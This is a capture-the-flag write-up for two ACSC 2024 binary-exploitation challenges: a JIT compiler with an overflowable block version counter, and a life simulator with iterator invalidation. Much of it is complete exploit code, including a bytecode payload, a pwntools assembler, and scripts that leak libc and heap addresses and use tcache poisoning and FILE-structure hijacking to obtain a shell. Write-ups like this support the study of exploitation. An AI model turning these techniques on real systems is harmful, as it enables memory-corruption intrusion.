ACSC 2024 Qual Writeup

# ACSC 2024 Qual Writeup ## Contextual (Pwn) The provided binary works as a compiler with a custom instruction set. The instructions we should look at first should be memory access instructions, which can lead to out-of-bound memory access. There can be memory access with no bound check like **opLoadRegNoCheck**, **opStoreImmRegNoCheck**, **opStoreRegRegNoCheck**. Our memory exists on the stack with the size of 0x5000 bytes, if we can achieve oob access we can easily overwrite return address and call system("/bin/sh") The compilation process has a step called **range-analysis** with each register, using this information the compiler will eliminate unnecessary bound check. To optimize even more, the compiler will save the range-analysis result of each code block with a **version number**. Using this information the compiler will only recopmile the code block in 2 situation: the current **range-analysis** result does not exceed the block **range-analysis**, or the previous block version is the same with the next block version. ```c if (prevVersion == NULL || prevVersion->version != context->prevBB->version) { //NOTE: previous optimization basis has changed, check if any range assumptions have been broken shouldRecompile = mergeRegRange(context, thisBB); if (prevVersion == NULL) { insertBBVersion(thisBB, context->prevBB); } else { prevVersion->version = context->prevBB->version; } } if (shouldRecompile) { compileBB(context, thisBB); } ``` The vulnerability exists in the fact the version number is *uint8_t* and can be overflown. ```c typedef struct BasicBlockVersion { uint64_t pc; uint8_t version; } BBVERSION; ``` So the strategy is to first have a code block that contains memory access operation. Then call this code block with valid and not out of bound range. This will make this code block compiled **with no bound check** ``` oob_rw: load <6> r7, [r8] store <6> [r8], r9 return ``` Then create another code block that can call into address loaded from register. I do this by modifying **sp register** and push address onto the stack. ``` tmp1: call tmp2 tmp2: call tmp3 point: load <6> r0, 65535 and bp, r0 return tmp3: load <6> sp, 16360 push <6> r10 push <6> 16360 return ``` So i can load address into r10 register then call tmp1, this will eventual call into the addres stored at r10. ``` load <6> r10, 8203 call tmp1 ``` The code block at **point** is the previous block, and the **oob_rw** is the block with no bound check. Our goal is overflowing the version of **point** code block. To do that just changing register state each function call to force recompilation which will increase version number. We keep doing that until the version number is equal to **oob_rw** version. After that each time we call into oob_rw there will have no bound check. The final exploit code: **solve** ``` load <6> r10, 0 jmp exp oob_rw: load <6> r7, [r8] store <6> [r8], r9 return just_ret: return tmp1: call tmp2 tmp2: call tmp3 point: load <6> r0, 65535 and bp, r0 return tmp3: load <6> sp, 16360 push <6> r10 push <6> 16360 return just_ret1: return just_ret2: return just_ret3: return just_ret4: return just_ret5: return just_ret6: return just_ret7: return just_ret8: return just_ret9: return just_ret10: return just_ret11: return just_ret12: return just_ret13: return just_ret14: return just_ret15: return just_ret16: return just_ret17: return just_ret18: return just_ret19: return just_ret20: return just_ret21: return just_ret22: return just_ret23: return just_ret24: load <8> bp, 281474976727028 jmp point just_ret25: load <8> bp, 562949953437684 jmp point just_ret26: load <8> bp, 844424930148340 jmp point just_ret27: load <8> bp, 1125899906858996 jmp point just_ret28: load <8> bp, 1407374883569652 jmp point just_ret29: load <8> bp, 1688849860280308 jmp point just_ret30: load <8> bp, 1970324836990964 jmp point just_ret31: load <8> bp, 2251799813701620 jmp point just_ret32: load <8> bp, 2533274790412276 jmp point just_ret33: load <8> bp, 2814749767122932 jmp point just_ret34: load <8> bp, 3096224743833588 jmp point just_ret35: load <8> bp, 3377699720544244 jmp point just_ret36: load <8> bp, 3659174697254900 jmp point just_ret37: load <8> bp, 3940649673965556 jmp point just_ret38: load <8> bp, 4222124650676212 jmp point just_ret39: load <8> bp, 4503599627386868 jmp point just_ret40: load <8> bp, 4785074604097524 jmp point just_ret41: load <8> bp, 5066549580808180 jmp point just_ret42: load <8> bp, 5348024557518836 jmp point just_ret43: load <8> bp, 5629499534229492 jmp point exp: load <8> r7, 0 load <8> r8, 0 load <8> r9, 0 call just_ret load <8> r8, 1 load <8> r9, 1 call just_ret load <6> r10, 8203 call tmp1 load <6> r10, 8203 call tmp1 load <6> r10, 8244 call tmp1 load <6> r0, 131071 call tmp1 load <6> r0, 131072 call tmp1 load <6> r0, 131073 call tmp1 load <6> r0, 131074 call tmp1 load <6> r0, 131075 call tmp1 load <6> r0, 131076 call tmp1 load <6> r0, 131077 call tmp1 load <6> r0, 131078 call tmp1 load <6> r0, 131079 call tmp1 load <6> r0, 131080 call tmp1 load <6> r0, 131081 call tmp1 load <6> r0, 131082 call tmp1 load <6> r0, 131083 call tmp1 load <6> r0, 131084 call tmp1 load <6> r0, 131085 call tmp1 load <6> r0, 131086 call tmp1 load <6> r0, 131087 call tmp1 load <6> r0, 131088 call tmp1 load <6> r0, 131089 call tmp1 load <6> r0, 131090 call tmp1 load <6> r1, 100 call tmp1 load <6> r1, 101 call tmp1 load <6> r1, 102 call tmp1 load <6> r1, 103 call tmp1 load <6> r1, 104 call tmp1 load <6> r1, 105 call tmp1 load <6> r1, 106 call tmp1 load <6> r1, 107 call tmp1 load <6> r1, 108 call tmp1 load <6> r1, 109 call tmp1 load <6> r1, 110 call tmp1 load <6> r1, 111 call tmp1 load <6> r1, 112 call tmp1 load <6> r1, 113 call tmp1 load <6> r1, 114 call tmp1 load <6> r1, 115 call tmp1 load <6> r1, 116 call tmp1 load <6> r1, 117 call tmp1 load <6> r1, 118 call tmp1 load <6> r1, 119 call tmp1 load <6> r2, 100 call tmp1 load <6> r2, 101 call tmp1 load <6> r2, 102 call tmp1 load <6> r2, 103 call tmp1 load <6> r2, 104 call tmp1 load <6> r2, 105 call tmp1 load <6> r2, 106 call tmp1 load <6> r2, 107 call tmp1 load <6> r2, 108 call tmp1 load <6> r2, 109 call tmp1 load <6> r2, 110 call tmp1 load <6> r2, 111 call tmp1 load <6> r2, 112 call tmp1 load <6> r2, 113 call tmp1 load <6> r2, 114 call tmp1 load <6> r2, 115 call tmp1 load <6> r2, 116 call tmp1 load <6> r2, 117 call tmp1 load <6> r2, 118 call tmp1 load <6> r2, 119 call tmp1 load <6> r3, 100 call tmp1 load <6> r3, 101 call tmp1 load <6> r3, 102 call tmp1 load <6> r3, 103 call tmp1 load <6> r3, 104 call tmp1 load <6> r3, 105 call tmp1 load <6> r3, 106 call tmp1 load <6> r3, 107 call tmp1 load <6> r3, 108 call tmp1 load <6> r3, 109 call tmp1 load <6> r3, 110 call tmp1 load <6> r3, 111 call tmp1 load <6> r3, 112 call tmp1 load <6> r3, 113 call tmp1 load <6> r3, 114 call tmp1 load <6> r3, 115 call tmp1 load <6> r3, 116 call tmp1 load <6> r3, 117 call tmp1 load <6> r3, 118 call tmp1 load <6> r3, 119 call tmp1 load <6> r6, 100 call tmp1 load <6> r6, 101 call tmp1 load <6> r6, 102 call tmp1 load <6> r6, 103 call tmp1 load <6> r6, 104 call tmp1 load <6> r6, 105 call tmp1 load <6> r6, 106 call tmp1 load <6> r6, 107 call tmp1 load <6> r6, 108 call tmp1 load <6> r6, 109 call tmp1 load <6> r6, 110 call tmp1 load <6> r6, 111 call tmp1 load <6> r6, 112 call tmp1 load <6> r6, 113 call tmp1 load <6> r6, 114 call tmp1 load <6> r6, 115 call tmp1 load <6> r6, 116 call tmp1 load <6> r6, 117 call tmp1 load <6> r6, 118 call tmp1 load <6> r6, 119 call tmp1 load <6> r8, 100 call tmp1 load <6> r8, 101 call tmp1 load <6> r8, 102 call tmp1 load <6> r8, 103 call tmp1 load <6> r8, 104 call tmp1 load <6> r8, 105 call tmp1 load <6> r8, 106 call tmp1 load <6> r8, 107 call tmp1 load <6> r8, 108 call tmp1 load <6> r8, 109 call tmp1 load <6> r8, 110 call tmp1 load <6> r8, 111 call tmp1 load <6> r8, 112 call tmp1 load <6> r8, 113 call tmp1 load <6> r8, 114 call tmp1 load <6> r8, 115 call tmp1 load <6> r8, 116 call tmp1 load <6> r8, 117 call tmp1 load <6> r8, 118 call tmp1 load <6> r8, 119 call tmp1 load <6> r9, 100 call tmp1 load <6> r9, 101 call tmp1 load <6> r9, 102 call tmp1 load <6> r9, 103 call tmp1 load <6> r9, 104 call tmp1 load <6> r9, 105 call tmp1 load <6> r9, 106 call tmp1 load <6> r9, 107 call tmp1 load <6> r9, 108 call tmp1 load <6> r9, 109 call tmp1 load <6> r9, 110 call tmp1 load <6> r9, 111 call tmp1 load <6> r9, 112 call tmp1 load <6> r9, 113 call tmp1 load <6> r9, 114 call tmp1 load <6> r9, 115 call tmp1 load <6> r9, 116 call tmp1 load <6> r9, 117 call tmp1 load <6> r9, 118 call tmp1 load <6> r9, 119 call tmp1 load <6> r11, 100 call tmp1 load <6> r11, 101 call tmp1 load <6> r11, 102 call tmp1 load <6> r11, 103 call tmp1 load <6> r11, 104 call tmp1 load <6> r11, 105 call tmp1 load <6> r11, 106 call tmp1 load <6> r11, 107 call tmp1 load <6> r11, 108 call tmp1 load <6> r11, 109 call tmp1 load <6> r11, 110 call tmp1 load <6> r11, 111 call tmp1 load <6> r11, 112 call tmp1 load <6> r11, 113 call tmp1 load <6> r11, 114 call tmp1 load <6> r11, 115 call tmp1 load <6> r11, 116 call tmp1 load <6> r11, 117 call tmp1 load <6> r11, 118 call tmp1 load <6> r11, 119 call tmp1 load <6> r12, 100 call tmp1 load <6> r12, 101 call tmp1 load <6> r12, 102 call tmp1 load <6> r12, 103 call tmp1 load <6> r12, 104 call tmp1 load <6> r12, 105 call tmp1 load <6> r12, 106 call tmp1 load <6> r12, 107 call tmp1 load <6> r12, 108 call tmp1 load <6> r12, 109 call tmp1 load <6> r12, 110 call tmp1 load <6> r12, 111 call tmp1 load <6> r12, 112 call tmp1 load <6> r12, 113 call tmp1 load <6> r12, 114 call tmp1 load <6> r12, 115 call tmp1 load <6> r12, 116 call tmp1 load <6> r12, 117 call tmp1 load <6> r12, 118 call tmp1 load <6> r12, 119 call tmp1 load <6> r13, 100 call tmp1 load <6> r13, 101 call tmp1 load <6> r13, 102 call tmp1 load <6> r13, 103 call tmp1 load <6> r13, 104 call tmp1 load <6> r13, 105 call tmp1 load <6> r13, 106 call tmp1 load <6> r13, 107 call tmp1 load <6> r13, 108 call tmp1 load <6> r13, 109 call tmp1 load <6> r13, 110 call tmp1 load <6> r13, 111 call tmp1 load <6> r13, 112 call tmp1 load <6> r13, 113 call tmp1 load <6> r13, 114 call tmp1 load <6> r13, 115 call tmp1 load <6> r13, 116 call tmp1 load <6> r13, 117 call tmp1 load <6> r13, 118 call tmp1 load <6> r13, 119 call tmp1 load <8> r7, 562949953421311 call tmp1 load <8> r7, 562949953421312 call tmp1 load <8> r7, 562949953421313 call tmp1 load <8> r7, 562949953421314 call tmp1 load <8> r7, 562949953421315 call tmp1 load <8> r7, 562949953421316 call tmp1 load <8> r7, 562949953421317 call tmp1 load <8> r7, 562949953421318 call tmp1 load <8> r7, 562949953421319 call tmp1 load <8> r7, 562949953421320 call tmp1 load <8> r7, 562949953421321 call tmp1 load <8> r7, 562949953421322 call tmp1 load <8> r7, 562949953421323 call tmp1 load <8> r7, 562949953421324 call tmp1 load <8> r7, 562949953421325 call tmp1 load <8> r7, 562949953421326 call tmp1 load <8> r7, 562949953421327 call tmp1 load <8> r7, 562949953421328 call tmp1 load <8> r7, 562949953421329 call tmp1 load <8> r7, 562949953421330 call tmp1 load <8> r10, 8244 call tmp1 load <8> r10, 8245 call tmp1 load <8> r10, 8246 call tmp1 load <8> r10, 8247 call tmp1 load <8> r10, 8248 call tmp1 load <8> r10, 8249 call tmp1 load <8> r10, 8250 call tmp1 load <8> r10, 8251 call tmp1 load <8> r10, 8252 call tmp1 load <8> r10, 8253 call tmp1 load <8> r10, 8254 call tmp1 load <8> r10, 8255 call tmp1 load <8> r10, 8256 call tmp1 load <8> r10, 8257 call tmp1 load <8> r10, 8258 call tmp1 load <8> r10, 8259 call tmp1 load <8> r10, 8260 call tmp1 load <8> r10, 8261 call tmp1 load <8> r10, 8262 call tmp1 load <8> r10, 8263 call tmp1 load <6> r10, 8267 call tmp1 load <6> r10, 8280 call tmp1 load <6> r10, 8293 call tmp1 load <6> r10, 8306 call tmp1 load <6> r10, 8319 call tmp1 load <6> r10, 8332 call tmp1 load <6> r10, 8345 call tmp1 load <6> r10, 8358 call tmp1 load <6> r10, 8371 call tmp1 load <6> r10, 8384 call tmp1 load <6> r10, 8397 call tmp1 load <6> r10, 8410 call tmp1 load <6> r10, 8423 call tmp1 load <6> r10, 8436 call tmp1 load <6> r10, 8449 call tmp1 load <6> r10, 8462 call tmp1 load <6> r10, 8475 call tmp1 load <6> r10, 8488 call tmp1 load <8> r8, 24772 load <8> r9, 280267669825 load <6> r10, 8203 call tmp1 load <8> r0, 0 store <6> [r0], r7 load <8> r0, 1 load <8> r1, 1 load <8> r2, 0 load <8> r3, 6 syscall load <8> r0, 0 load <8> r1, 0 load <8> r2, 0 load <8> r3, 24 syscall load <8> r0, 16 load <8> r8, 24772 load <8> r9, [r0] load <6> r10, 8203 call tmp1 load <8> r0, 8 load <8> r8, 24780 load <8> r9, [r0] load <6> r10, 8203 call tmp1 load <8> r0, 8 load <8> r8, 24788 load <8> r9, [r0] load <6> r10, 8203 call tmp1 load <8> r0, 0 load <8> r8, 24796 load <8> r9, [r0] load <6> r10, 8203 call tmp1 exit ``` **assembler** ```python from pwn import * def aasm(code): def check(condition): if not condition: print(f'invalid argument on line {lnum + 1} : {origLine}') exit() def getReg(rs): if rs == 'pc': return 4 elif rs == 'lr': return 5 elif rs == 'flag': return 13 elif rs == 'sp': return 14 elif rs == 'bp': return 15 check(rs[0] == 'r') try: reg = int(rs[1:]) except: check(False) check(reg >= 0 and reg < 16) return reg def getNum(n, size, unsigned = False, dontCareSign = False): if n[0] == '-': sign = -1 n = n[1:] else: sign = 1 if len(n) > 2 and n[:2] == '0x': base = 16 else: base = 10 try: n = int(n, base) except: check(False) n *= sign if dontCareSign: Min = -(1 << size) // 2 Max = (1 << size) - 1 else: if unsigned is False: Min = -(1 << size) // 2 Max = (1 << size) // 2 - 1 else: Min = 0 Max = (1 << size) - 1 check(n >= Min and n <= Max) if n < 0: n += (1 << size) return n JMP = { 'call': 0x40, 'jmp' : 0x41, 'jb' : 0x42, 'jae' : 0x43, 'je' : 0x44, 'jne' : 0x45, 'jbe' : 0x46, 'ja' : 0x47, } ALU = { 'add' : 0x50, 'sub' : 0x51, 'mul' : 0x52, 'div' : 0x53, 'and' : 0x54, 'or' : 0x55, 'xor' : 0x56, 'shr' : 0x57, 'shl' : 0x58, 'mov' : 0x59, 'cmp' : 0x5a, } JMPDST = {} RESOLVE = {} code = code.strip().split('\n') bcode = b'' for lnum, line in enumerate(code): origLine = line comment = line.find('//') if comment != -1: line = line[:comment] line = line.strip() if line=='': continue #print(line) line = line.split() if line[0] == 'push': check(len(line) == 2 or len(line) == 3) if len(line) == 2: #shorthand to not specify push imm size n = getNum(line[1], 64, dontCareSign = True) if n == 0: S = 1 else: S = (n.bit_length() + 7) // 8 bcode += p8(0x08 | (S - 1)) + int.to_bytes(n, S, 'little') else: check(len(line[1]) > 2 and line[1][0] == '<' and line[1][-1] == '>') S = getNum(line[1][1:-1], 4, unsigned = True) check(1 <= S and S <= 8) if line[2][0].isdigit(): n = getNum(line[2], S * 8, dontCareSign = True) bcode += p8(0x08 | (S - 1)) + int.to_bytes(n, S, 'little') else: r0 = getReg(line[2]) bcode += p8(0x18 | (S - 1)) + p8(r0) elif line[0] == 'pop': check(len(line) == 3) check(len(line[1]) > 2 and line[1][0] == '<' and line[1][-1] == '>') S = getNum(line[1][1:-1], 4, unsigned = True) check(1 <= S and S <=8) r0 = getReg(line[2]) bcode += p8(0x10 | (S - 1)) + p8(r0) elif line[0] == 'load': line = ' '.join(line[1:]).split(',') check(len(line) == 2) hasSize = line[0][0] == '<' if not hasSize: #shorthand to not specify load imm size r0 = getReg(line[0].strip()) n = getNum(line[1].strip(), 64, dontCareSign = True) if n == 0: S = 1 else: S = (n.bit_length() + 7) // 8 bcode += p8(0x30 | (S - 1)) + p8(r0) + int.to_bytes(n, S, 'little') else: S, r0 = line[0].strip().split() check(len(S) > 2 and S[0] == '<' and S[-1] == '>') S = getNum(S[1:-1], 4, unsigned = True) check(1 <= S and S <= 8) r0 = getReg(r0) line[1] = line[1].strip() if line[1][0] != '[': n = getNum(line[1], S * 8, dontCareSign = True) bcode += p8(0x30 | (S - 1)) + p8(r0) + int.to_bytes(n, S, 'little') else: check(line[1][0] == '[' and line[1][-1] == ']') r1 = getReg(line[1][1:-1]) bcode += p8(0x20 | (S - 1)) + p8(r0 | (r1 << 4)) elif line[0] == 'store': line = ' '.join(line[1:]).split(',') check(len(line) == 2) hasSize = line[0][0] == '<' if not hasSize: #shorthand to not specify store imm size line[0] = line[0].strip() check(line[0][0] == '[' and line[0][-1] == ']') r0 = getReg(line[0][1:-1]) n = getNum(line[1].strip(), 64, dontCareSign = True) if n == 0: S = 1 else: S = (n.bit_length() + 7) // 8 bcode += p8(0x38 | (S - 1)) + p8(r0) + int.to_bytes(n, S, 'little') else: S = line[0].strip().split()[0] dst = line[0][len(S):].strip() check(len(S) > 2 and S[0] == '<' and S[-1] == '>') S = getNum(S[1:-1], 4, unsigned = True) check(1 <= S and S <= 8) dst = dst.strip() check(dst[0] == '[' and dst[-1] == ']') dst = dst[1:-1] line[1] = line[1].strip() if line[1][0] != 'r': r0 = getReg(dst) n = getNum(line[1], S * 8, dontCareSign = True) bcode += p8(0x38 | (S - 1)) + p8(r0) + int.to_bytes(n, S, 'little') else: r0 = getReg(dst) r1 = getReg(line[1]) bcode += p8(0x28 | (S - 1)) + p8(r0 | (r1 << 4)) elif line[0] in JMP: check(len(line) == 2) if line[1][0].isdigit() or line[1] not in ('r0','r1','r2','r3','r4','r5','r6','r7','r8','r9','r10','r11','r12','r13','r14','r15','pc','lr','flag','sp','bp'): if line[1][0].isdigit(): #Theoretically, we shouldn't do this, jumping to static offset is error prone, but allow for flexibility n = getNum(line[1], 16) bcode += p8(JMP[line[0]]) + p16(n) else: tag = line[1] offset = len(bcode) + 3 if tag in JMPDST: #This is a backward jump, so delta must be negative delta = JMPDST[tag] - offset + (1 << 16) bcode += p8(JMP[line[0]]) + p16(delta) else: RESOLVE[offset] = (tag, lnum, origLine) bcode += p8(JMP[line[0]]) + p16(0) else: check(False) ''' else: r0 = getReg(line[1]) bcode += p8(JMP[line[0]] | 0x08) + p8(r0) ''' elif line[0] in ALU: opc = line[0] line = ' '.join(line[1:]).strip().split(',') check(len(line) == 2) r0, r1 = getReg(line[0].strip()), getReg(line[1].strip()) bcode += p8(ALU[opc]) + p8(r0 | (r1 << 4)) elif line[0] == 'return': check(len(line) == 1) bcode += b'\xfd' elif line[0] == 'syscall': check(len(line) == 1) bcode += b'\xfe' elif line[0] == 'exit': check(len(line) == 1) bcode += b'\xff' else: check(len(line) == 1 and len(line[0]) > 1) check(line[0][-1] == ':') check(not line[0][0].isdigit()) tag = line[0][:-1] check(tag not in JMPDST) JMPDST[tag] = len(bcode) for offset in RESOLVE: tag, lnum, origLine = RESOLVE[offset] if tag not in JMPDST: print(f'unknown tag on line {lnum} : {origLine}') exit() delta = JMPDST[tag] - offset bcode = bcode[:offset-2] + p16(delta) + bcode[offset:] return bcode context.log_level = 1 f = open("solve", "r") c = f.read() c = aasm(c) print(hex(len(c))) #r = gdb.debug("./contextual") r = remote("contextual.chal.2024.ctf.acsc.asia", 10101) r.sendlineafter(") :", str(len(c)).encode()) r.sendafter("code : ", c) libc = u64(r.recv(6).ljust(8, b'\0')) - 0x29d90 system = libc + 0x50d70 bin_sh = libc + 0x1d8699 pop_rdi = libc + 0x000000000002a745 log.info("LIBC: " + hex(libc)) r.send(p64(system) + p64(bin_sh) + p64(pop_rdi)) r.interactive() # ACSC{f4il3d_to_s33_th4t_0ne_c0m1n6_d1dnt_y0u} ``` ![image](https://hackmd.io/_uploads/SJc32OAJ0.png) P/s: There is probably a better way to do the overflowing version part. ## life_simulator (Pwn) The vulnerability is when adding a new value to vector, the vector can be realloacted leading to invalid iterator. ```cpp void simulate() { this->number_of_steps++; for(auto it = this->lifeforms.begin(); it != this->lifeforms.end(); ++it) { int32_t prev_x_pos = it->get_x_pos(); int32_t prev_y_pos = it->get_y_pos(); this->check_lifeform(it); it->move(); int32_t curr_x_pos = it->get_x_pos(); int32_t curr_y_pos = it->get_y_pos(); if(curr_x_pos <= 0 || curr_x_pos >= this->simulation_map->get_x_size() - 1) it->flip_x_speed(); if(curr_y_pos <= 0 || curr_y_pos >= this->simulation_map->get_y_size() - 1) it->flip_y_speed(); this->simulation_map->set_area(prev_x_pos, prev_y_pos, ' ', NoneEntity); Entity curr_pos_entity = this->simulation_map->get_area_entity(curr_x_pos, curr_y_pos); if(curr_pos_entity == FruitEntity) { this->simulation_map->set_area(curr_x_pos, curr_y_pos, ' ', NoneEntity); if(it->level_up() == YesNewSpawn) { std::string new_spawn_name = it->get_name() + get_generation(it->get_number_of_children() + 1); this->add_lifeform(prev_x_pos, prev_y_pos, it->get_x_speed()*(-1), it->get_y_speed()*(-1), new_spawn_name); } } ... } ... ``` **this->add_lifeform** will reallocate the buffer, changing **this->lifeforms.end()** to another location, this can make the **it** iterating through memory belongs to another object. This gives us a limited out of bound write primitive (can only write 0x20 or 0x00 byte) using **set_area**. ```cpp void set_area(int32_t x_pos, int32_t y_pos, char indicator, Entity entity) { switch(entity) { case LifeformEntity: this->area[y_pos*this->x_size + x_pos] = indicator; this->entity_area[y_pos*this->x_size + x_pos] = LifeformEntity; break; case FruitEntity: this->entity_area[y_pos*this->x_size + x_pos] = FruitEntity; break; case PoisonEntity: this->entity_area[y_pos*this->x_size + x_pos] = PoisonEntity; break; default: this->area[y_pos*this->x_size + x_pos] = ' '; this->entity_area[y_pos*this->x_size + x_pos] = NoneEntity; break; } } ``` Abusint this I overwrite the map size to 0x2019 x 0x29 (the original map size is 0x19 x 0x29). ```cpp private: int32_t x_size; int32_t y_size; char *area; Entity *entity_area; ``` Now each time the map is printed we will have oob read. ```cpp void print_area() { for(int32_t i = 0; i < this->x_size + 2; i++) std::cout << "#"; std::cout << std::endl; for(int32_t i = 0; i < this->y_size; i++) { std::cout << "#"; for(int32_t j = 0; j < this->x_size; j++) { switch(entity_area[i*this->x_size + j]) { case FruitEntity: std::cout << "o"; break; case PoisonEntity: std::cout << "x"; break; default: std::cout << area[i*this->x_size + j]; break; } } std::cout << "#" << std::endl; } for(int32_t i = 0; i < this->x_size + 2; i++) std::cout << "#"; std::cout << std::endl; } ``` But with this large map size, the memory size is 0x2019*0x29*0x4 bytes (more than 0x149000 bytes, much larger than memory the heap has). So i have to add a bunch of lifeform with very long name. Allocation with large size will enlarge the heap, this makes that **print_area will not crash due to memory access in unmmaped memory** Finally with this large map size, we can now achieve write into this large map. Abusing this to overwrite free chunk metadata, and have arbitrary allocation using **tcache poisoning technique**. I will use this new primitive to rewrite the map struct. ```cpp private: int32_t x_size; int32_t y_size; char *area; Entity *entity_area; ``` I want to overwrite area to *_IO_2_1_stderr* struct, this means we can rewrite this file structure, and achieve RIP control using technique like house of apple. Exploit script: ```python from pwn import * #r = gdb.debug("./life_simulator_patched") #r = remote("localhost", 9000) r = remote("life-simulator.chal.2024.ctf.acsc.asia", 9000) def add(x,y,sx,sy,name): r.sendlineafter("> ", b'2') r.sendlineafter("position: ", str(x).encode()) r.sendlineafter("position: ", str(y).encode()) r.sendlineafter("): ", str(sx).encode()) r.sendlineafter("): ", str(sy).encode()) r.sendlineafter("Name: ", name) r.sendlineafter("L: ", b"L") def fruit(x, y): r.sendlineafter("> ", b'3') r.sendlineafter("position: ", str(x).encode()) r.sendlineafter("position: ", str(y).encode()) for j in range(6): for i in range(6): add(i,j,1,0, b'A') for j in range(0, 20): for i in range(0, 20): if i < 6 and j < 6: continue fruit(i, j) payload = b'\0'*0x18 + p64(0x1c1) + b'\0'*0x30 payload += (p32(26) + p32(48)).ljust(0x40, b'\0') payload += (p32(37) + p32(219)).ljust(0x40, b'\0') payload += (p32(51) + p32(104755298)).ljust(0x40, b'\0') payload += (p32(0x28) + p32(104755296)).ljust(0x40, b'\0') payload = payload.ljust(0x3e0, b'\0') add(21,21,0,0, payload) add(22,22,0,0, (b'\0'*0x18 + p64(0x3b1)) + b'\0'* (0x20000)) for i in range(2): add(i + 23,23,0,0, (b'\0'*0x18 + p64(0x3b1)) + b'\0'* (0x50000)) r.sendlineafter("> ", b'1') r.sendlineafter("> ", b'1') r.sendlineafter("> ", b'1') r.recvuntil(b"\xb1\x03\x00\x00\x00\x00\x00\x00") heap = u64(r.recv(6).ljust(8, b'\0')) - 0x14360 log.info("HEAP LEAK: " + hex(heap)) r.recvuntil(b"\x21\x0b\x00\x00\x00\x00\x00\x00") libc = u64(r.recv(6).ljust(8, b'\0')) - 0x21b290 log.info("LIBC LEAK: " + hex(libc)) def write64(where, what): off = where - 0x55555557df10 add(off - (off // 0x29) * 0x29, (off // 0x29), 0, 0, p8(what & 0xff)) off += 1 add(off - (off // 0x29) * 0x29, (off // 0x29), 0, 0, p8((what >> 8) & 0xff)) off += 1 add(off - (off // 0x29) * 0x29, (off // 0x29), 0, 0, p8((what >> 16) & 0xff)) off += 1 add(off - (off // 0x29) * 0x29, (off // 0x29), 0, 0, p8((what >> 24) & 0xff)) off += 1 add(off - (off // 0x29) * 0x29, (off // 0x29), 0, 0, p8((what >> 32) & 0xff)) off += 1 add(off - (off // 0x29) * 0x29, (off // 0x29), 0, 0, p8((what >> 40) & 0xff)) off += 1 add(off - (off // 0x29) * 0x29, (off // 0x29), 0, 0, p8((what >> 48) & 0xff)) off += 1 add(off - (off // 0x29) * 0x29, (off // 0x29), 0, 0, p8((what >> 56) & 0xff)) stderr = libc + 0x21b6a0 stdin = libc + 0x219aa0 system = libc + 0x50d70 fake = libc + 0x2170c0 - 11 * 8 + 3 * 8 log.info("TARGET: " + hex((heap + 0x12ea0) ^ ((heap + 0x15620) >> 12))) add(0,0,0,0, b'\0'*0x68) write64(0x555555580620, (heap + 0x12ea0) ^ ((heap + 0x15620) >> 12)) payload = p64(0)*3 + p64(0x31) + p64(3) + p64(heap + 0x12ef0)*2 + p64(heap + 0x17440) + p64(heap + 0x17d80) + p64(0x21) payload += p32(0x11) + p32(0x11) + p64(stderr) + p64(heap + 0x20000) payload = payload.ljust(0x68, b'\0') print(hex(len(payload))) add(1,1,0,0, payload) def write641(where, what): off = where add(off - (off // 0x11) * 0x11, (off // 0x11), 0, 0, p8(what & 0xff)) off += 1 add(off - (off // 0x11) * 0x11, (off // 0x11), 0, 0, p8((what >> 8) & 0xff)) off += 1 add(off - (off // 0x11) * 0x11, (off // 0x11), 0, 0, p8((what >> 16) & 0xff)) off += 1 add(off - (off // 0x11) * 0x11, (off // 0x11), 0, 0, p8((what >> 24) & 0xff)) off += 1 add(off - (off // 0x11) * 0x11, (off // 0x11), 0, 0, p8((what >> 32) & 0xff)) off += 1 add(off - (off // 0x11) * 0x11, (off // 0x11), 0, 0, p8((what >> 40) & 0xff)) write641(0, 0x3b68733b07f5) write641(0xa0, stderr - 0x10) write641(0xc0, system) write641(0xd0, stderr + 0xc0 - 0x68) write641(0xd8, fake) #write641(0, 0x41414141) r.interactive() # ACSC{beware_of_the_hidden_allocations!!11!_d78389} ``` ![image](https://hackmd.io/_uploads/r12wftAkR.png) ![image](https://hackmd.io/_uploads/BJ73zYRyA.png) P/s: We need to exit to trigger the rip control. The exploit takes a long time to run, due to sending a large amount of data. It can sometimes fail too.